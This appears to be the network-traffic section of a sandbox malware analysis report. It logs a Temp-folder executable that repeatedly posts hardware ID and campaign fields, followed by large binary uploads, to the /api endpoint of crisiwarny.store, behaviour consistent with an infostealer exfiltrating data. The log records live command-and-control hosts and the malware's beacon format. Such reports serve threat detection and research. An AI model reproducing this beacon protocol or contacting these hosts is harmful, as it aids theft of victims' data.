2024-10-26 06:54:24 UTC	1369	IN	Data Raw: 46 71 62 6f 52 73 6d 74 49 69 2f 36 39 78 37 76 30 47 4f 77 4f 6f 56 35 6b 59 33 76 42 46 6f 77 79 6d 46 37 65 2f 66 47 4c 38 4b 44 35 4c 2b 54 30 47 73 7a 2b 61 76 67 69 79 69 51 5a 6a 41 71 31 61 73 42 6e 2f 2f 41 33 72 45 54 2b 75 59 75 6f 31 4b 2f 6b 70 4b 67 76 39 34 4e 35 75 78 67 4f 6a 50 59 72 34 47 31 70 47 73 47 2f 34 62 4f 61 51 73 4f 63 73 78 36 76 48 30 6b 67 75 77 47 6d 69 4f 76 6c 67 47 72 4a 37 7a 32 73 4a 72 73 52 66 51 6c 2b 4d 61 6b 43 4a 59 76 46 73 35 68 54 47 4e 37 66 72 4b 54 2f 6b 61 42 64 33 69 44 56 54 70 32 4f 36 76 30 79 4b 70 51 64 62 41 74 41 66 77 56 47 75 38 54 54 6e 45 63 73 65 74 73 6f 6c 64 36 78 31 6a 73 35 64 59 42 72 75 5a 72 76 44 41 54 62 4d 51 79 72 37 53 51 4c 30 61 64 2f 73 44 61 4d 4d 2f 6c 62 44 30 30 6e 4b 6f Data Ascii: FqboRsmtIi/69x7v0GOwOoV5kY3vBFowymF7e/fGL8KD5L+T0Gsz+avgiyiQZjAq1asBn//A3rET+uYuo1K/kpKgv94N5uxgOjPYr4G1pGsG/4bOaQsOcsx6vH0kguwGmiOvlgGrJ7z2sJrsRfQl+MakCJYvFs5hTGN7frKT/kaBd3iDVTp2O6v0yKpQdbAtAfwVGu8TTnEcsetsold6x1js5dYBruZrvDATbMQyr7SQL0ad/sDaMM/lbD00nKo
2024-10-26 06:54:24 UTC	1369	IN	Data Raw: 64 6f 50 35 65 64 75 65 33 50 4c 70 77 47 7a 59 7a 53 61 34 6b 46 66 75 78 58 58 34 42 6e 31 76 2f 36 79 6c 4f 6f 41 68 32 67 6f 6c 45 52 75 63 32 53 2b 73 46 67 38 42 36 4f 6d 61 78 44 2f 6b 77 71 73 6c 56 72 77 79 6d 56 2b 4c 65 59 57 65 35 5a 53 34 37 33 61 44 2b 58 6e 62 6e 74 7a 79 36 42 44 4d 53 57 2b 56 61 75 45 30 66 43 4f 47 75 45 59 64 62 39 6b 62 41 4a 32 55 78 65 6a 62 35 52 51 66 54 50 70 72 32 55 4c 4a 30 54 78 35 44 76 46 35 73 75 4f 38 30 44 65 6f 4e 2f 30 76 2b 72 78 46 4b 6f 54 42 33 56 34 78 68 42 71 4d 2f 6d 76 59 74 69 76 51 44 44 6a 75 39 48 72 42 4a 36 36 68 59 2b 76 55 2f 36 74 4c 57 61 52 76 6c 58 57 5a 75 4f 61 43 61 38 69 72 6e 44 38 6c 75 68 42 74 44 43 79 6c 61 6f 46 7a 6d 79 56 57 48 44 4b 5a 57 59 73 6f 39 4d 71 42 51 64 69 Data Ascii: doP5edue3PLpwGzYzSa4kFfuxXX4Bn1v/6ylOoAh2golERuc2S+sFg8B6OmaxD/kwqslVrwymV+LeYWe5ZS473aD+Xnbntzy6BDMSW+VauE0fCOGuEYdb9kbAJ2Uxejb5RQfTPpr2ULJ0Tx5DvF5suO80DeoN/0v+rxFKoTB3V4xhBqM/mvYtivQDDju9HrBJ66hY+vU/6tLWaRvlXWZuOaCa8irnD8luhBtDCylaoFzmyVWHDKZWYso9MqBQdi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	50007	172.67.170.64	443	6120	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:54:26 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: crisiwarny.store
2024-10-26 06:54:26 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"712E0BD30ABFADA15791AE78524BD06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 06:54:27 UTC	1009	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:54:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=guaimcmqp25d7u3l166l071uv7; expires=Wed, 19 Feb 2025 00:41:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DEofNdqrRsIY3RHityqrSjolzlop5uPscvsW6k%2FpKnMdO5OTJx1CKBtqfDGlIsEJzI5BJfcv%2FgESLnOKcBLnleYfDnrNHEQkT%2BQ0qbPSYMfhsK1CxBQbpifrXV6Tf40zhx27"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8888faef0bd61d-CDG alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=116306&sent=9&recv=16&lost=0&retrans=0&sent_bytes=2839&recv_bytes=13789&delivery_rate=24888&cwnd=32&unsent_bytes=0&cid=5608eb4dcf650a05&ts=592&x=0"
2024-10-26 06:54:27 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 06:54:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	50012	172.67.170.64	443	6120	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:54:29 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: crisiwarny.store
2024-10-26 06:54:29 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"712E0BD30ABFADA15791AE78524BD06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 06:54:30 UTC	1007	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:54:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dieifpcrlttbgvff430181u881; expires=Wed, 19 Feb 2025 00:41:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oWe1ev9SOOqX21jvsy1Yu1vvl0g8tiTyVL1aMe03UGyYhKshKh5sjHbgTYPEJYnTEVJCXekITdpxcx68qtfIdV%2Fyob5daUsglP%2BOZ7TuYU8uK7ZyDpsucvCAhM1sI0NYfIwS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d88890d1dd6474a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=959&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2839&recv_bytes=16021&delivery_rate=2931174&cwnd=251&unsent_bytes=0&cid=b5c71b8f47110428&ts=585&x=0"
2024-10-26 06:54:30 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 06:54:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	50020	172.67.170.64	443	6120	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:54:32 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: crisiwarny.store
2024-10-26 06:54:32 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"712E0BD30ABFADA15791AE78524BD06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 06:54:32 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-10-26 06:54:33 UTC	1014	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:54:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ohvs7lt729b94th64coichqeh5; expires=Wed, 19 Feb 2025 00:41:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kG9bmcOgsPZRkfB9qdGrFX6K5bY%2Bg67UK%2B8oDBv5FMhowfhnHUssnSANd4F8Jt7a%2F7StD3I7fE65qwrkuGOYNbViVZkWNmrfMe%2Fr4xi9gEVCeVx4nZsmSzj7cEq0oX8QkT%2FJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d88891d99c30be1-AMS alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=123013&sent=12&recv=22&lost=0&retrans=0&sent_bytes=2838&recv_bytes=21368&delivery_rate=23535&cwnd=32&unsent_bytes=0&cid=291fb33877d5f925&ts=612&x=0"
2024-10-26 06:54:33 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 06:54:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	50037	172.67.170.64	443	6120	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:54:43 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1323 Host: crisiwarny.store
2024-10-26 06:54:43 UTC	1323	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"712E0BD30ABFADA15791AE78524BD06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 06:54:43 UTC	1005	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:54:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vnksjomfrlm5k8bj8t0j3cpvmd; expires=Wed, 19 Feb 2025 00:41:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SWEohgRrxm0kkkqsXf49ZKnFaJNNzs5IVfOsAEcliMfwe6fPJH5RtuYU%2BgY1UvQbLNzTTMQBiUuwIF5y6kiHUHVrpBd1Ls8nICXdJ16JMb9ivo%2F6OkrZP1H6Hd7BYCuDk3Re"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d888961f8e2d476-CDG alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=116621&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2240&delivery_rate=24822&cwnd=32&unsent_bytes=0&cid=8cc4816bda9343d4&ts=412&x=0"
2024-10-26 06:54:43 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 06:54:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	50039	172.67.170.64	443	6120	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:54:47 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 576016 Host: crisiwarny.store
2024-10-26 06:54:47 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"712E0BD30ABFADA15791AE78524BD06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 06:54:47 UTC	15331	OUT	Data Raw: 7f e6 63 62 d6 a4 83 55 9a f3 44 7b c3 d4 6d f0 e2 f8 bd 94 24 06 e6 36 f9 75 05 91 47 67 c9 22 7e 6a 56 e1 d8 d9 c4 8c 1b 35 61 3b 2c 99 8e 4e 9a 3b 12 dc f4 bb c4 73 cd e0 61 01 04 e1 ea 2f 57 5a 97 a2 c0 cb 13 e3 55 3f 9b 8b bd ae f5 b5 c6 f7 8e 8f 7d 76 21 00 b3 7e 46 66 ce 62 8d 34 73 a8 c4 4f 6e b0 be 22 a5 04 40 a0 ed 50 42 b8 89 c4 31 22 20 2d 00 cb 8b 4c 95 34 35 96 06 3f 38 ad 12 69 8b bb 82 4d 3d 17 6e 93 22 44 db df 7a 7d c7 f5 e4 80 ce ee ff 25 90 d8 dd 40 bb 42 18 84 cc fa 96 4f 5e 86 18 2a c5 65 06 13 6e ab 0e 10 f1 85 e1 d2 ca 9d 85 a1 1a bf 8e 3f 91 64 6d 37 16 7e 1d 8c a3 69 01 1a 1f ea cf ed 2c 5d ee 20 11 8c 09 ae 4a ec 8b 0e c4 30 b6 9e 3e 27 b3 54 d6 bf 3f d4 c1 cc 6c 2f b4 61 f9 45 80 62 78 e8 37 90 ea b3 de 53 78 05 d0 fb b9 16 a2 Data Ascii: cbUD{m$6uGg"~jV5a;,N;sa/WZU?}v!~Ffb4sOn"@PB1" -L45?8iM=n"Dz}%@BO^*en?dm7~i,] J0>'T?l/aEbx7Sx
2024-10-26 06:54:47 UTC	15331	OUT	Data Raw: ff b3 5a 5b e5 75 8d 1a 68 60 cf 3b 5c fe 6f 67 80 c4 31 dc d4 d7 2b 9c 47 47 e1 8e 61 7c 02 3b dd ee 5b 8e b1 81 d5 b2 b1 7f 83 bf 9a 73 6a 33 28 c0 ca 11 31 3c 2c 77 f5 9c c1 83 e1 30 ec 7d 7b e8 71 d0 27 24 f1 0b df fd 1c 81 c6 70 b8 0e 25 52 16 f2 c9 b1 bf 0f 48 17 28 55 5c f6 74 b2 9b 70 76 7e 59 d9 28 8a 7c 5c ce e7 81 c9 35 3e 6d fb cd 60 a4 87 e3 62 73 9f dc 5d 02 17 88 26 fb 12 f5 30 f9 1f 48 d8 60 6d 7c 7f 78 d6 74 4b 29 ca 0e 05 3f 6a 38 f9 e7 12 ec 0d 15 ad f2 61 df 12 cf bc b2 f9 c7 43 a5 76 37 4a 3e 0f 04 2d 7d 9b ed aa 5a 7f 5f 76 73 0c 2d 8b 53 9e 15 07 a8 0d 87 5b 9f f9 fc 3a 7b c6 8b 47 e3 f4 9a 77 8b 55 cc bc ac b9 4e 7a 33 78 0a 1a e8 90 00 e5 53 b5 6b 9e c2 80 3a a3 13 d8 1c 3c c2 6d 64 0d c5 b8 46 4c cb 82 ac c9 24 2f e8 ba a1 0a 78 Data Ascii: Z[uh`;\og1+GGa\|;[sj3(1<,w0}{q'$p%RH(U\tpv~Y(\|\5>m`bs]&0H`m\|xtK)?j8aCv7J>-}Z_vs-S[:{GwUNz3xSk:<mdFL$/x
2024-10-26 06:54:47 UTC	15331	OUT	Data Raw: a2 02 df a0 1f bf 42 c1 28 aa 6a ed 68 a5 71 2e ce 87 fd fb af 05 c8 cb 16 b6 08 e4 3d cf 71 d0 8b a6 66 31 fc c0 5b 5c 3a 81 6c 33 cf dd be 87 7c 08 60 61 98 2b dd f2 51 fc fe 69 16 6d 52 87 e1 23 e1 58 6f e1 fd 9b 2a e2 5e 08 f0 fb bd 3b a4 a0 52 7f 14 e4 e1 92 3b 3a be c2 fe 31 6e 0d 59 da 9c 93 ea c2 e5 c4 97 42 53 40 c0 d7 e6 c6 fa 41 a4 d7 a5 3f 2f df 93 d3 20 7b cc c6 6d 9f 23 8d 98 93 04 bf 18 e9 85 72 21 6c 4a a8 87 40 cf 50 b7 69 b2 34 f2 cc c6 f7 22 7f f6 b9 ca b7 bf 92 b0 54 7d a6 af 35 a4 dc a0 e8 9a 0d 33 0e 5c bf 29 60 ef d6 78 42 b4 50 0b e6 06 6c 5c e5 ae 56 55 94 eb 70 cf 4f f2 a9 45 3f b8 8e fd 61 1e 2f a3 d3 a5 ad ae 79 0e e4 15 19 c5 46 3d d1 fc 86 a2 59 fa c5 0f 1d 00 65 ea 4d 5e dc 5d 55 d1 92 e0 e7 59 0f 92 06 b6 01 d9 f9 50 6f e7 Data Ascii: B(jhq.=qf1[\:l3\|`a+QimR#Xo*^;R;:1nYBS@A?/ {m#r!lJ@Pi4"T}53\)`xBPl\VUpOE?a/yF=YeM^]UYPo
2024-10-26 06:54:47 UTC	15331	OUT	Data Raw: 5a 50 eb 5c e5 21 7c 26 73 d4 e2 07 db e4 b6 ff 92 0d 3f c4 c4 94 c2 8f ea a0 64 ab b6 d4 0f 9c 10 f0 7c 1c 7f 82 5f e7 3b 32 e3 49 4a 7c fb bf d7 fb f0 de fc 25 d5 f0 df 32 bb 62 43 86 92 3e bd 5b 13 bd 2c df e4 20 52 06 46 e1 d8 c3 30 ca 77 23 9e dd 01 37 02 38 24 ac 2f ed b6 22 53 0e 46 19 02 d8 21 b3 a1 91 8d a5 d6 8c cb 37 99 73 e2 c0 f4 19 67 cd bb 51 86 76 82 ad 4e fc 71 e4 06 fc 1b 8e c9 27 d8 1f 05 10 76 29 04 fb 06 65 4b 07 5f 0f e7 98 80 25 11 d8 ad 81 d4 7f d0 ca 13 4a dd c8 f5 07 a7 4c d4 d0 9d 2b 03 6e fc 9a 44 92 39 e1 a5 4d 28 8f 33 3e 9c 7b b3 94 8f 68 56 bd a3 c9 d9 7d 28 2f ed 35 09 1c 4b c4 58 8c f9 41 a2 a7 28 8e ae 00 a1 9d 23 e6 7b cb 98 e7 ed 39 36 e7 86 03 df 2b ef 86 72 b7 14 77 3a e9 94 32 e9 04 bc 3f a2 25 5c bd ad c9 08 ab 88 Data Ascii: ZP\!\|&s?d\|_;2IJ\|%2bC>[, RF0w#78$/"SF!7sgQvNq'v)eK_%JL+nD9M(3>{hV}(/5KXA(#{96+rw:2?%\
2024-10-26 06:54:47 UTC	15331	OUT	Data Raw: 1f 9f ab 78 b0 f8 2e c1 92 6a 72 d1 a0 82 e7 68 cc 54 ad 91 e4 56 78 bf c6 eb 5b ac 8f 76 08 75 1c 83 9f 8b 48 7b eb 87 6a e6 7d 96 30 5b 2a f1 d8 c3 37 fe b5 16 ad 5e df 70 73 8a 7f 0f d6 18 c0 e9 2b 0d 9e ab 00 93 b9 d3 1f 21 04 5c ea bb 9c a8 cb c1 06 43 5b 4d 1b 5d b4 2d 5b b3 d0 f1 9d f1 bc ba 06 6a 47 5e 1d 21 f0 c1 89 08 f6 a8 e0 45 a5 03 b5 6e 2d 82 c8 6d 20 a1 5d e4 22 69 48 62 55 28 81 f3 8d f2 d3 b4 53 68 29 82 1b a3 45 27 88 5b 44 31 82 13 a0 b8 1c ca 95 25 b7 62 2f 1f dc 27 47 90 e0 6e af 9a 53 5b 11 bc e2 8e f7 8e 98 4f 45 f0 fb df 54 3e f5 c4 55 e7 9c 8f 26 84 d7 27 5c fd df d1 b8 0c 1c 39 a2 0c 65 29 0e 06 92 af 69 c2 99 6f 0f 83 c5 02 1b 9a 67 34 04 d1 05 80 f8 fa d6 a7 93 55 d7 80 9d 04 d4 9e 00 f3 0b ff f7 1c ca 4e 0b 4d fa 4f c9 0e 06 Data Ascii: x.jrhTVx[vuH{j}0[*7^ps+!\C[M]-[jG^!En-m ]"iHbU(Sh)E'[D1%b/'GnS[OET>U&'\9e)iog4UNMO
